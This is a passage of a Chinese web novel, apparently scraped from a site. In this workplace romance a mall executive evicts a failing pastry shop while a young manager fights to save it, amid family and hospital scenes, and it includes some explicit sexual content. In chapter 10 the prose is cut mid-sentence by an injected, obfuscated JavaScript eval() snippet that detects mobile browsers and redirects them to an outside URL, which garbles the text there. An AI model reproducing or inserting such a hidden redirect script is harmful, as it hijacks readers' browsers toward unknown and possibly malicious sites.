难得讲这么多话。其实今天他很累,开了一场又一场的会。面对商户的抵触情绪和各种关系阻力,已经筋疲力尽。他不是一拍脑门作出的决定,而是经过深思熟虑的。下午的部门负责人会议上又对前期沟通和过渡期安排等方面做了详细部署,如果许昭弥细看,会发现他好看的薄唇由于长时间的发言此刻已经变得略显干涩。本来下班后的他已经不想再对工作上的事情做多解释,但看在许昭弥来看望他妈妈的面子上,陆以宁展现出了最大的耐心。 许昭弥呢,抿着嘴,紧紧抱着怀里的牛皮纸袋,还有点不死心。“伍式糕点的业绩虽然在最近一段时间确实不太理想,但这也不能完全归咎于店铺自身。根据我的判断,b2层主要是餐饮品牌,伍叔的糕点店作为辅助业态,销售额很大程度上受到周边餐饮品牌客流量的影响,所以如果咱们后期能有针对性地策划一些活动……” “你的判断?根据我拿到的最新业绩报告显示,你所负责区域的整体销售额并不理想,甚至是最差,所以我不认为你的判断是正确的。” 陆以宁觉得没有必要再说下去了。如果许昭弥还不明白,那只能是她自己的问题。他没必要再给一个普通员工解释自己的决策。“况且,如果不能把问题归咎于自身,那就是你的问题。你身为营运经理,更应该对你负责的每家店铺的经营状况负责。” 说完瞧见门廊处亮起了灯,他拔出了车钥匙,有一点不耐烦地对许昭弥说:“下车吧。” 许昭弥却没有动,她不认为自己刚才的话有任何错。在她看来,伍式糕点的经营状况本来就是受到了周边业态的影响。如果她能为伍叔的店量身定制一些营销活动,一定会有意向不到的效果。而且这么多年来,伍叔的店坚持不涨价,始终保持品质,这么良心的店铺,怎么能被清退呢?她甚至觉得,如果伍叔调整一下价格策略,营业额至少可以翻一番。她有点倔强地抱着牛皮袋,不愿妥协。 陆以宁让她抬头。 许昭弥不敢不听他的,只能红着眼睛扭过头来。 陆以宁看到她这副委屈的表情,心情莫名其妙地变得很差。 “不明白吗?清退业绩不佳的店铺,引进新租户,这是为了商场的长远发展考虑,也是为你好。伍叔的店一直拖着你的KPI后腿,只有傻子才会留着这样的店铺。” “作为B1-B2业态负责人,你该清楚我们正在向体验式消费转型。上周招商部的新品牌意向书你没看?墨茉点心局给出的保底租金是伍式的2.3倍。” “可我还是想试试。”许昭弥倔强地抬着头,始终不想放过一点机会,“不然就给我两个月的时间可以吗?我保证把销售额提升上去,如果两个月后还是无法达到目标,我完全接受任何决定,包括对伍叔进行清退。我本人也愿意接受任何处罚。” 何阿姨的声音适时从门厅处传来,车子里的两个人谁也没有回话。许昭弥偏过头,偷偷擦掉眼角的眼泪。陆以宁掌心捏着车钥匙,半天才说了这么一句,“你比我想象中的还要蠢。” 9.便利贴与荒原狼09 陆曼青正在餐厅里包饺子,看到陆以宁和弥弥一前一后地走进来,却仿佛压根没看到她的大儿子,欢天喜地地把许昭弥喊到身边。 “快来,弥弥,阿姨给你包三鲜馅儿的饺子吃,喜不喜欢?” “喜欢。”许昭弥强迫自己恢复好心情,放下包包来到陆曼青身边,微笑对陆曼青说:“阿姨,海鲜粥我也超喜欢,您做的我都喜欢。我来帮您一起包吧?” 她去卫生间洗手,正好遇上刚从里面出来的陆以宁。她那一丢丢微小的自尊迫使她偏过头去,不想去看他。没想到却听到他在路过自己身边时傲娇地哼了一声。 ?什么意思? 陆以宁独自坐在沙发上翻着杂志,对餐桌那边三个女人不时传来的欢声笑语不予理会。过了一会儿,他肚子饿了,扭头问那边:“饺子什么时候能煮?”却被人家直接无视,回应他的是更气人的欢笑。仔细听,这三女人竟然还聊起了养生。许昭弥竟然有模有样地分享起了自己的养生经验。陆以宁心想,她一个每天熬夜贪黑、顿顿外卖的女人懂个毛线养生? 陆以宁被她们三个赤裸裸地孤立了,但他也懒得搭理她们。低下头继续翻杂志,可他是真的饿了,没多久又回过头,就差拿起筷子敲桌子了,“少说点话吧姐姐们,能不能快点煮饺子?” “想早点吃就过来帮忙,不然就闭嘴。白吃还那么多事儿!对吧,弥弥?”陆曼青这次没给他好脸色。陆以宁本来就被气得不轻,却见许昭弥还在偷偷抿嘴笑,心里一下子更来气了。 刚才还在他车上哭哭啼啼,弄得他心烦意乱,这会儿又眉开眼笑的。陆以宁就纳闷了,女人变脸怎么就这么快呢? 电话时不时响起,陆以宁不想接听,索性按了静音。他也说不清为什么,只是有种不想让此刻状态被打破的感觉。等饺子包好后,何阿姨端着饺子去下锅。陆曼青和许昭弥洗干净手,来到沙发旁聊天。 陆以宁翘着腿坐在她们对面,见许昭弥从包里拿出一包十字绣递给陆曼青,说道:“阿姨,这是我买的十字绣。您上次不是说在家无聊吗,您看,这是一对小猴子,我已经绣好了一只,剩下那只您来绣好不好?”陆曼青对其爱不释手,“我一定好好绣,谢谢弥弥。” 陆以宁虽然对许昭弥的这种狗腿行为有些不屑,但不得不承认,她哄他妈确实有一套。平时绣绣东西倒也能给她找点事做,免得陆曼青没事儿总去烦他。只是绣什么不好,非得绣猴子?亏她这脑子能想得出来。 许昭弥嘿嘿笑着,悄悄用余光瞥向陆以宁,见他正在低头喝水,便迅速将茶几上的牛皮纸袋抱了过来。 “阿姨,这个点心可好吃了,还是无糖的呢,对老年人和糖尿病人特别友好。它用的都是粗粮,纯手工制作,没有任何添加剂,您尝尝。”她说话的样子就像是在念广告,战战兢兢地不敢往沙发对面看。 “好呀好呀。”陆曼青咬了一口龙鳞酥,点头称赞,“嗯,味道确实不错,还有点阿姨儿时的味道。下次弥弥再给阿姨多带点,我给你何姨的父母也寄一些。” “不过这个糕点可能以后买不到了……”许昭弥偷偷观察陆以宁的脸色,陆以宁正喝着茶,差点把茶水喷出来。他是真的没想到,许昭弥这个看起来傻不拉几的女人竟然还有这手呢?认识到从他身上下手没用,转而从他妈身上下手,知道谁最能拿捏他,真是有意思。他收回了刚刚在车里说的那句话,她一点都不蠢,她可真是太聪明了! 可陆以宁偏偏不理她这茬,无论她说什么都装作没听到。等到饺子煮熟上桌,三个人坐到餐桌边吃起了饺子。陆曼青是个老狐狸,早就领会了弥弥的意思。她让弥弥别急,等到吃个三分饱时再开口。这会儿看着陆以宁吃得正香,陆曼青觉得开口的时机到了。许昭弥也满心期待,没想到却被陆以宁抢先一步。 他放下筷子,忽然对陆曼青说道:“对了妈,明天我约好了医生。明早去做检查,之前忘了跟您说。您多吃点,明早不能吃饭,得抽血,可别忘了。” “什么?”陆曼青最怕去医院,一听要抽血心里就犯怵。而且她的检查比常人麻烦,检查一次就得在医院住上几天。之前也没跟她说明天要去检查,一点心理准备都没有,这下把所有想说的话都吓回去了。陆以宁心里暗暗直笑,跟他斗?再修炼几年吧。 许昭弥呢,见陆曼青害怕去医院,别的也顾不得了,只想着安慰她,毕竟身体才是最重要的。 “没事儿的阿姨,明天我陪您去,别害怕。” “好好。”陆曼青握住她的手,有她陪着,自己就安心多了。“那弥弥晚上就别走了,住在家里吧,省得明早再折腾过来。” 陆以宁差点被嘴里的饺子汤呛到。许昭弥一时也不知如何作答,下意识去看陆以宁。 陆以宁这时却偏过头去,故意不看她。陆曼青见许昭弥没拒绝,便以为她默认了,忙让何阿姨去把房间收拾出来,何阿姨有点懵懵的,竟然还问了一句,“是收拾少爷的房间还是客房呢?”把许昭弥差点吓吐血。 倒是把陆曼青逗得直乐,开玩笑地说她满脑子不正经,“弥弥还没和阿宁结婚呢,睡在一起不合适,当然是给弥弥单独准备一间啦。” 陆以宁也松了口气。 再看许昭弥,脸红的跟什么一样,两个人的目光不经意撞上,又都变得躲躲闪闪。 …… 靠。 饭后,许昭弥来到客房,没想到就在陆以宁的卧室隔壁。陆曼青还神神秘秘地对她说:“这一层只有你们两个哦~我和你何阿姨住在楼上。” 等陆曼青出去后,她才后知后觉反应过来,脸红耳赤的同时懊恼不已,自己怎么就答应住在人家家里了呢? 陆曼青从许昭弥房间出来,又跑到陆以宁房间里去,陆以宁刚刚脱了衬衫,听到后面有脚步声,又赶紧把衣服穿身上。 “妈,下次进我房间可不可先敲门啊?” 陆曼青呢,根本也不理他,自顾自地到他衣柜里翻西服口袋和公文包。 “找什么呢?” 陆曼青没找到,回头问他:“你没带那个呀?” “哪个?” “那个!” 陆以宁脑子都要炸了:“妈,您儿子是种马吗?还要随身携带避孕''套?”说着就毫不留情地把陆曼青赶了出去。 陆曼青伸手扒着门框,一本正经地提醒他:“既然没带,夜里就不要进弥弥房间哦。我会随时监督你的!” 陆以宁“砰”的一声关上房门,把隔壁的许昭弥都吓了一跳。 这是什么妈呀! 他丢掉衬衫,裸着上半身躺在床上,望着天花板发呆,翻来覆去睡不着。许昭弥同样没比他好到哪去。 过了大约半个钟头左右,许昭弥从卫生间洗了澡出来,穿着陆曼青专门为她准备的睡衣。陆曼青说这是她年轻时候的衣服,她年轻时有很多衣服,但都没有穿过。许昭弥穿着这件全新的八零年代风格的睡衣站在镜子前,突然就羞红了脸。没想到八零年代的睡衣款式竟然这么开放,看得出陆阿姨年轻时也是身材性 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意识到他的目光,许昭弥立刻后退几步,抬手捂住胸口,视线左右游移道:“是、是阿姨给我的……我没带睡衣。” 陆以宁:“等我一下。” 回到房间找笔记本电脑,转身瞬间脸色就绷不住了。靠,他妈有病吧,给许昭弥穿这个?许昭弥也傻,刚刚说了三天时间,就差这半天时间?非要现在写? 他没好气地把笔记本电脑递给许昭弥,许昭弥说了声“谢谢”,立刻跑了,比兔子还快。 陆以宁一晚上都没睡着,只要一想到隔壁的女人,他就觉得自己要疯了。闭上眼睛,她胸前的曲线就不断在他眼前乱晃,还有那双若隐若现的大白腿。陆以宁不得不承认,自己身体的某个部位此时有点难受。他太了解陆曼青了,许昭弥刚刚要是不来借电脑,她也得制造出什么机会让他们俩今晚见上一面。陆以宁觉得他妈就是在故意折磨他。 最后实在受不了了,陆以宁起身到卫生间打开水龙头,让凉水冲了冲脸,试图让自己冷静下来。可回到床上后,那些画面依旧在脑海中挥之不去。他不是一个性''欲特别强的人,但在解开睡裤握住滚烫的瞬间,一股强烈的冲动涌上心头,他甚至有了想撕碎一个人的冲动。是在仰着脖子,随着动作青筋爬满额头暴汗如雨的时候。觉得这个夜晚真他妈的漫长。 是他有生以来觉得最难熬的一次。 解放以后只觉得心里特别空虚。他不知道别人是否也有相同的感受,毕竟从小到大他也从没和其他人探讨过这个话题。对他来说,那种空虚就像有千百只虫子在啃噬着他的身体。他大口喘气,坐起身来,准备到楼下喝杯冰水试图让自己冷静下来。 却在路过隔壁房间时,透过门缝看到屋里的灯还亮着。 半夜三点了,她还没睡? 打了鸡血一样的许昭弥并不知道陆以宁此刻正站在她的屋门外进行着有生以来最为激烈的一次心理斗争。陆以宁向来不是一个优柔寡断的人,却在那一晚对一件他突然极度渴望却从未做过的事而犹豫不决。 许昭弥正在非常认真地撰写关于伍式糕点的营销方案。她首先挑选了几款她认为口感最佳的产品,然后结合伍叔的故事来制定营销策略,旨在打造一个感人的品牌故事,希望通过这个故事能让更多人认识并喜爱上伍式糕点…… 她从十二点一直写到夜里三点,尽管熬夜使得她的身体疲惫不堪,但精神上却十分愉悦。那是她熬过的最畅快的一个夜晚~ 10.便利贴与荒原狼10 陆以宁一整夜都没睡,天不亮就去晨跑,跑了整整五公里,大汗淋地跑回来。进门后就把拉链敞开,用搭在肩膀的运动头巾囫囵擦着锁骨的汗,边擦边往餐厅走,走到餐桌旁意外看到上面早已摆好的丰盛早餐。 种类颇丰,卖相也不错。他想要捏个蛋饺,被突然从身后出现的陆曼青打了下手,“洗手再吃!” 像训小孩子似的,陆以宁挑了下眉,“做这么多?今天怎么了?厨神再世?” 陆曼青伸出一根手指指了指厨房,笑得开心,“是弥弥做的哦!不错吧?” 陆以宁朝厨房瞥了一眼,见许昭弥正站在灶台前,双手忙碌左右开弓。晨光下,她身穿何晓娥的碎花围裙,长发利索扎起,挽成一个小髻。瞧着还挺像那么回事儿。 等到洗漱好坐下,许昭弥就端着托盘走了出来,笑盈盈地招呼大家开动。 “吃饭喽!”托盘里是两碗皮蛋瘦肉粥和一大杯热牛奶。许昭弥把粥端给何姨和自己,把那杯牛奶给了陆以宁。 又对陆曼青说:“阿姨您一会儿要抽血,不能吃早餐,不过我给你带了便当,很丰盛哟!等您检查完就可以吃啦。” “好好,那你们吃,我先去楼上收拾一下。”何晓娥也跟着陆曼青一起上了楼。 餐桌旁就剩下他们两个人,也都不说话,许昭弥低头喝粥,温婉乖巧的模样。陆以宁喝了口牛奶,又看看她的粥,见她喝起粥来津津有味,突然问道:“为什么我喝牛奶你喝粥?” 许昭弥啊。抬头看他,“你不喜欢喝牛奶啊?阿姨说你最爱喝牛奶了,打小就爱,顿顿不落,一天至少喝两杯,就怕自己长不高……所以我特地给你煮的鲜牛奶,两杯哦,足足五百毫升。”说完偷着乐。 陆以宁发育比同龄人晚,小学前个头一直是班里男生倒数,到了初三才猛猛涨。因为家族男性个个都是大高个,只有他是小矮子,所以小学生陆以宁就曾一度以为自己基因突变,再也长不高了。那时候陆曼青已经和他爸离婚,不住在港城,陆以宁就天天晚上偷偷给她打电话,“妈妈我是不是再也长不高了哇呜呜呜!”陆曼青安慰他,“那崽崽要多喝牛奶哦!”陆以宁打那后就开始酷酷炫奶。 后来陆以宁为了陪她,高考时特意报了潞城的大学。平时也很少住校,总是回家住。虽说他大学时身高就有一米八七,不用再喝牛奶了,可陆曼青还是每天早上准时给他热杯鲜牛奶。这么多年了,陆以宁一直特别感动,还以为这是妈妈对自己的爱,没想到陆曼青却一直把他当个笑话,还讲给外人听! 陆以宁气的难受,牛奶也喝不下去,瞪着眼睛问许昭弥,“您觉得你老板我现在还用喝牛奶吗?”那意思就是说他现在身材倍儿棒,瞎子才看不出来。 “不用不用,不过多补补身子总没坏处嘛!”许昭弥说完,蓦地又想起那谣言来,耳朵又红了。支支吾吾解释,“额、我说的是补脑子……” “许昭弥,你能告诉我你脖子上那玩意儿每天都在想什么吗?” 许昭弥不好意思地低着头,手里搅着调羹,还真思考他的话。脑子里一瞬间冒出“方案”两字,对了,方案!她抬头,“陆总,我今早把方案发您邮箱里了哦!请您注意查收~” “什么方案?”陆以宁拿眼斜她。 “昨天您答应我的,不能出尔反尔啊!” “是么,不记得了。兴许我喝杯牛奶补补脑子就想起来了。”陆以宁这样逗她。看她大惊失色的小脸儿,心情瞬间好了起来。 呵,还想埋汰他?跟那只老狐狸一样,滚回去再修炼几年吧! 吃了饭便送陆曼青去医院。 陆以宁开车,何晓娥坐在副驾驶,许昭弥陪着陆曼青坐在后排。一路上,许昭弥都轻轻叩着陆曼青的手心,陆以宁偶尔几次变道超车,从后视镜里都能看到许昭弥安慰陆曼青的样子。 到了医院便开始各种检查,许昭弥全程陪同,事无巨细地照顾着她。反倒是陆以宁,开完化验单后人就不见了。 他去了院长办公室,这是昨天和院长约好的会面,主要讨论陆曼青目前的情况。她的病是先天性的心脏病,年轻时做了多次手术都没有改善,这种病拖到最后一般都要移植。院长还是建议尽早手术,趁着目前情况相对稳定,越早越利于恢复。陆以宁则还是犹豫,他对心源格外挑剔,正常人一辈子只有一次的手术机会,心源必须是最好的,他在等,等最好的心脏供体出现。 陆曼青检查回来后躺在病床上,许昭弥已经为她办理好了住院手续。明天和后天还有几项检查,她得在医院住上几天。陆以宁来到病房时就看到许昭弥正在喂陆曼青吃饭。隔壁床的病人一个劲儿夸夸,“瞧您闺女多贴心呐!”陆曼青则笑眯眯地回人家,“这可是我儿媳妇哟。” “儿媳妇那就更不得了啦!儿媳妇比女儿还孝顺,您可太有福气了。” 陆曼青不愿意自己住包间,一定要住普通病房才行,她最喜欢和病友聊天了。这会儿病房里除了她以外还有一位五十岁的阿姨,也是个话唠,自打陆曼青住进来后就和她聊个不停。 许昭弥被说得很不好意思,起身去放行李。一转身,正好看到陆以宁正抱着肩膀靠在门框上看她,顿时红了脸。隔壁大姨看了一眼门口,“哟”了一声,“这是您儿子吧!长得这么俊,怪不得儿媳妇也这么漂亮,真是般配哟!” 陆曼青特别开心。 天黑了,陆曼青让陆以宁送许昭弥回去,嘱咐他一定要把弥弥安全送到家。陆以宁拿上大衣搭在手肘处,嗯了一声,看着许昭弥和他妈妈告别。女孩俯身和陆曼青贴贴,柔声细语地宽慰她:“放心吧阿姨,检查一定没问题的。您就当是在这里疗养,好好住几天,过几天我再来看您。” 两人一前一后出了走廊。电梯里,许昭弥哈欠连天,脑袋跟拨浪鼓一样。昨天熬夜写方案,今天又忙和一天,这会儿有点顶不住了。 早上又没擦化妆品,所以眼底那层薄薄的乌青就格外明显。陆以宁站在她对面,什么也没说,拿出手机给她转了十万。 “嗡”地一声,把昏昏欲睡的许昭弥吓直了身子,从大衣里掏出手机,看到一条银行汇款信息。 许昭弥下意识抬头看他,满脸写着震惊:“是您转的吗?您好像给多了……” “不多,按一天算。” 就算是按一天算,一小时两千,也超不过五万。许昭弥觉得这钱有点烫手,“一天也多了。” “多的是饭钱。”电梯到了,门一开,陆以宁便抬脚走了出去,留下这样一句话。 饭钱?就算是饭钱也多了,她又不是米其林三星大厨。一顿早餐就要几万块,何况她根本就不想收钱。许昭弥跑着追出去,追到车子前还在坚持自己的态度,“饭前就不用了,那是我的心意哦,我还是把多余的给您转回去吧!”跟着爬上了车。 陆以宁呢,也不理她,爱要不要,随她一个人低着头默默瞎鼓捣,“先系安全带。” 转完账后的许昭弥终于松了口气,默默挺直腰板。突然又发现车子去的不是商场方向,她急了,“这去哪儿呢?今晚我夜班,快五点了,再晚点就要迟到了!”她得去上班。 陆以宁板着脸回她,“不怕猝死?”也没等她回复,又来一句,“给你假,回家睡觉。” 许昭弥没骨气地“哦”了一声。这次她倒是没拒绝,心想这个假她还是挺想要的…… “那我给您输一下我家地址……” “我知道。”去的就是她家方向。这都开一半了,她是不是瞎? 许昭弥还是一个哦。 也不解释他是怎么知道的,气氛就有那么一点奇怪。 陆以宁开车不喜欢说话,也不喜欢听音乐或听广播,就那么干开,偶尔碰到不按交规行驶或者墨墨迹迹的车子还要生气地按几声喇叭。许昭弥后来对学车有阴影就是从那时候开始的。 不敢惹他,于是靠着车窗发呆,不一会儿就迷迷糊糊睡着了。 陆以宁途中接到一个电话,是于晓沁打来的。他戴上耳机按了接听,于晓沁的声音透过电波传来,透着一点娇媚。 “陆总,听说您一直想约我见面~正好我现在有一点时间,不知您现在方便吗?” “方便,地址发我。”陆以宁一秒都没有犹豫。 “那陆总要尽快哦~我只有半个小时的时间等您。陆总要是不能准时,那就只能期待和您的下一次见面了~”于晓沁紧接着又这样说。 陆以宁知道她是在吊自己胃口,却在挂断电话时依旧踩深了油门。他打开转向灯,准备超了前面那辆奥迪。然而视线不经意间扫过身旁的许昭弥——她头抵着玻璃,脸颊微微泛红,睡得正香时却被车子突然的加速弄得微微皱起了眉。 恰在那时,车窗外的路灯一盏盏亮起,光线映照在她绯红的侧脸,显得有那么几分动人。陆以宁忽然就有了一丝怜惜,脚下不自觉地松开了油门,慢慢让车速放缓下来,最终调整到一个令人舒适的状态。 转天一早许昭弥来到商场,先是b2给商户们开晨会。她的晨会很有意思,常被贝诗楠笑称像教导主任。许昭弥会举着拳头对大家说:“今天大家也要打起精神,好好工作哦!”商户们与她关系都很熟了,也都很喜欢她,每次都十分配合地回应:“好嘞,老师!”总之是所有楼层里最欢乐的晨会。 晨会结束后,许昭弥便开始检查商场开业前的各项准备工作,包括广播是否正常、广告是否到位、店铺灯是否开启、货品摆放是否整齐以及客服台前人员是否到岗等等。接着就像往常一样去挨家抄录营业额。 这次大规模涨租,许昭弥负责区域的大部分商户都没有被波及,只有伍叔一家店需要清退。好在陆以宁答应给她延迟两个月的时间,这让许昭弥不像一开始那么焦虑。完成基本工作后,许昭弥去找伍叔。伍叔原本已经做好被赶走的准备,但听许昭弥说领导给了他一次通融的机会,并且还指派她来帮忙推广时,他感动得流下了眼泪。 不过,实际上许昭弥说的情况只有一半准确。虽然陆以宁认可了她的策划方案,但并没批准她申请的预算,所以他们没有推广费。是在早晨吃饭的时候,贝诗楠突然尖叫起来,说她昨晚发的一条小红书爆火了,一夜之间涨了五百粉!那是在2016年,“小红书”才刚成立三年,距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243974|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离2019年开始正式大火还有三年时间,此时的它尚未正式进入大众视野。而许昭弥就是在这个时候看中了这个社交软件的潜力。在那一瞬间,她灵光一闪,决定利用小红书、微博、抖音等多媒体矩阵来进行自主推广。 征得伍叔同意后,许昭弥就立刻注册了一个小红书账号,专门为伍式糕点进行运营。 …… 一直忙到了中午,快吃饭的时候,许昭弥才回到办公室。刚一坐下,贝诗楠就迫不及待地凑过来和她说小话,“昨晚我去酒吧,你猜我碰见谁了?” “谁呢?”许昭弥配合地露出一副好奇的表情。 “男神!男神昨晚和一美女在一起,你再猜猜那美女是谁?” “安旎?”许昭弥下意识只想到她。 “nonono!不是安旎,是于晓沁!我的天呐!”贝诗楠夸张到用了小岳岳表情。她一直知道她们老板那张妖孽的脸很能勾女人,没想到却这么能勾!连于晓沁这么牛逼的人物能到钓到手,简直太行了! 于晓沁是谁呢?恐怕现中国时尚圈没几个人不知道。刚出道就被誉为天才设计师,国风品牌“霓”的创始人,不仅是全球四大时装周的特邀设计师,还是亚洲高级定制协会的终身创始会员。这么说吧,她设计的高定礼服现在几乎成了一线女星各大晚会红毯争相预约的对象,如果不是顶级流量那种,根本借不到。总之是个很牛逼的女人。 贝诗楠还偷录了一点视频,点击播放给许昭弥看。许昭弥看得可认真了,连他嘴里叼着的香烟,点火的姿势,甚至吸烟时的表情都看得一清二楚。 他好像有那么一丝颓废,斜靠在吧台上,随音乐微微晃着身子。隔壁美女同他讲话,他仰着头笑,闭着眼睛轻吐烟圈。他的喉结很性感,在灯红酒绿中尤其有种能蛊惑人心的味道。 许昭弥觉得于晓沁的眼神快要在他脸上移不开了。音乐、酒精和好看的男人,在这样的夜晚尤其让人着迷。她身子主动靠近了,带动旗袍下摆向前伸展,大腿若有似无地蹭着他的西裤边缘,是一个很暧昧的姿势。 凭良心讲,这样的画面实在养眼。于晓沁其实算不得顶级大美女,但胜在气质好、会打扮,要知道“女人味”这种东西并不是哪个女人都能有的。陆以宁就更不必说。许昭弥想到之前在黑匣子门口偶遇他的那次,那天的他也是这样风流。贝诗楠啧了啧说:“我觉得她想把男神吃了。” 许昭弥忽然又想到昨晚。是在他车的副驾上迷迷糊糊睁开眼睛,发现驾驶座空无一人。身上竟盖着他的外套,车厢里开着暖风,她舒舒服服醒来,在安静温暖的车厢里呆坐了片刻,再一看表已经八点了。 车子泊在路边,陆以宁在离车尾不远处的马路牙子上抽烟。站在尾灯稀薄的淡黄色光束中。旁边有只垃圾桶,上面零零散散着几根烟头,不知抽了多少根了。 许昭弥哆哆嗦嗦跑过去,将外套双手递还给他,恭恭敬敬又有些抱歉,“不好意思哈,在您车里睡着了,可您为什么不喊我呢?” 为什么不喊你?你不知道吗?陆以宁觉得挺生气的,“叫了没醒,睡的跟猪一样!”没好气地接过外套。深秋的夜晚,他站在气温三四度的室外,上身就只有一件衬衫,只能靠着一根又一根的烟来取暖。 许昭弥却信誓旦旦:“不可能!”她才不可能睡的像猪!她睡眠可浅了,除了实在太累的时候醒不来,其他时候都能醒。但又觉得人家不可能撒谎,他为什么要撒谎呢?难不成还故意不叫她想让她多睡一会儿?怎么可能? 但是给她外套盖着就很奇怪。许昭弥看他衬衫单薄,心想他脱了衣服还出来抽烟,他不冷吗? “冷,冻死了,以后别再在男人车上睡那么死。”陆以宁看透她心思,说了这样一句话。但也是在对牛弹琴,因为许昭弥压根就不懂。陆以宁觉得她太傻了,怎么会有这么傻的女人呢?十八岁那年送人情书都能塞错书桌。越想越生气,油门踩得嗡嗡响,到临走也没给她个好脸。 许昭弥不知道他昨晚干什么去了,只是看他车开很快,很着急,像是急着去见什么人,油门一脚就冲了出去。原来是要去见于晓沁。 “于晓沁要回国开设她的第一家新中式旗袍店,这可是她在国内市场的第一次亮相,大家都在争抢她的首店进驻权。”贝诗楠当然知道陆以宁见她要干什么,所以觉得他更牛逼,“你猜男神能谈下来吗?” “能吧……”许昭弥想了想说,“美男计不是都用上了?”把贝诗楠逗得哈哈笑。 “要是谈下来,估计会把Stella&Grace的位置给她,那是临街端头铺,位置最好的铺位。Stella&Grace不是一直嫌租金高吗?这次调整可能会换到东区线店里,八成是‘喜年’那儿。” “‘喜年’不是不走吗?我听说年老板这次一直在闹事儿啊。”‘喜年’是个老字号品牌,也是这次调整中的重点商户,强烈反对这次政策变化的领头人物,说什么都不搬。大家都知道年老板和坤总有点交情,而且他在市场监督局也有后台,总之特别横,给大姚都愁坏了。 贝诗楠耸耸肩,“那就领导斗法呗!” 11.便利贴与荒原狼11 俩人说话的功夫,陆以宁办公室风风火火进去个女人。贝诗楠俩眼跟雷达似的,迅速捅了捅许昭弥,“快看快看,进去了!” 进去的是陈萨,招商部总监,坤总的心腹大员。许昭弥来的晚,又是个傻的,只知道埋头修水管,不太清楚高层领导间的这些个弯弯绕绕,贝诗楠给她科普:“当初‘莲花’刚转型的时候,招不上租户,萨姐一人拼酒局,拉来了一半的指标,是个很牛逼的女人。”招商部地位高,普通职工都高人一等,更别提萨姐这样有能力有人脉的女强人了,她连项目总都不放在眼里。 陈萨刚出差回来,这次改革之前她并不知情,清退掉她的老租户,无疑使她的工作成果和个人信誉受到严重威胁。许昭弥这次不傻了,甚至有点为陆以宁担忧,“哇,那她岂不是要和陆总掐起来!” 两个小卡拉米十分默契地扭过头往陆以宁的办公室偷看。 陈萨刚坐下,陆以宁就问她喝茶吗。 “现在租户意见越来越大,您还有心思喝茶呢?” “是么,有什么意见?” 陈萨一向不喜与人兜圈子,她能有今日的成就,利落爽飒的性格功不可没。“陆总,您是真不知道,还是在装傻?当年莲花还是传统百货的时候,这些老商户就已经在了。后来莲花转型成购物中心,初期招商根本无人问津,是他们率先入驻,帮咱们度过了难关。换句话说,也是他们给莲花带来了人气。如今莲花发展好了,就不再需要他们,开始卸磨杀驴,搞什么淘汰制,赶走老商户、挪动他们的位置,这不是过河拆桥吗?” 她双手撑开,伏在桌上,态度坚决地讲:“陆总,您知道人家的原话是什么吗?‘我告诉你们,不能这么做事!我们要去政府投诉!等着瞧!’” 而陆以宁依旧不紧不慢,后背向后一靠,双手合十说道:“这么多年没给他们涨租金,不是看在老客户的面子上?重新评估商户组合是为了提升竞争力和吸引力,引入高利润、更具吸引力的组合,从而提升整体收益。” “可也正是这些老租户组成商场稳定收入的重要来源,也是我们多年经营下来的品牌基础!突然清退他们,不仅会损失稳定的收入,还可能影响到我们的市场声誉!” 陆以宁:“根据最新的市场调研报告,消费者对体验式消费的需求急剧攀升,而我们现有的租户结构根本无法满足这一趋势。倘若不立即调整,必定会失去竞争优势。” “那也必须给现有租户一定的时间去适应新变化!只有这样,才能够既维持现有收入,又能逐步实现你所谓的转型。” “这个建议听上去不错,但你还要考虑新品牌的引入速度和效果。要是老租户占据过多空间,新品牌无法迅速落地,那将会严重拖延整个项目的进度。” 话聊到这儿,陈萨忽然敛起气势,“这么说一点余地都没了?” 陆以宁看着她,“你希望我有吗。” 陈萨默了下,突然就笑了,整个人瞬间放松下来,“我喜欢跟聪明人共事。” “我也是。直说吧,张总这些年收了这些租户多少贡品?” 陈萨挑了挑眉,喜欢他这个性格。别人看不出来,陆以宁却早就摸透了她的底细,实际上陈萨对张坤早就有了异心。 “那是你的事儿了,老板。我只关心我自己的利益。所以那些老商户我去搞定。你放心,一定在你谈下于大设计师之前把位置空出来。并且,我会利用我手里的资源,安排后续新商铺尽快入场。” “然后?” “然后你找机会把那个草包踢下去,我要他现在的位置。” 陆以宁也喜欢同聪明人共事。“成交。或许等我以后离开潞城的时候,我现在的位置也可以交给你,不过关键是要让我看到你的能力。” 陈萨心情特别好,起身向他告别:“那就不打扰陆总了,我这就去忙。” 陆以宁做了个“请”的手势。 到了门口,陈萨忽然停下脚步,侧过身来和陆以宁开了个玩笑:“对了,听说于晓沁很难搞定,你可得加油哟。” 陆以宁接受她的玩笑,却不让她的调侃得逞:“恐怕要让你失望了,昨天我们已经谈妥。所以现在该你加油。” “哇哦!”留学回来的陈萨实际上是个很开放的女性,她故意露出一副惊讶的表情,“所以网上都在传你那方面不行,看来是假的喽?” “告你职场性骚扰啊。” “哈哈。”陈萨举手投降,不再多说。毕竟多说几句,领导和下属之间的界限就模糊了。从办公室出来的那一刻,她瞬间秒变严肃职场脸,切换自如。 其实陆以宁不太喜欢她刚刚那个玩笑,门一关脸色就有点难看。他看着哪里像是不行的?这些人都是瞎吗?网上说什么都信?突然想到前天夜里的难熬,想到许昭弥满面朝''红地出现在他房间门口的样子。操。他这辈子都没社过比那天夜里还要多的jy,他不行谁行?! …… 陈萨从陆以宁办公室出来,两个小卡拉米同时收回目光。 “你猜谁赢了?” “不知道。” “你希望谁赢啊?” 许昭弥想了想,又悄悄望向陆以宁。透过玻璃,只见他正在讲电话,一只手举着手机,另一只手搭在扶手上,有节奏地轻轻点着。许昭弥虽看不清他的表情,却神奇地仅凭他此刻的姿势便猜出了他的心情。他这会儿心情看起来很好,许昭弥由此知道是他赢了,却未曾意识到自己对他已经如此熟悉了。 果然没有猜错,“喜年”很快就搬了,其它需要调整的商户也陆陆续续配合着搬家。原以为这次改革就这么顺利过渡了,却没料到过了几天又发生了另一件大事。 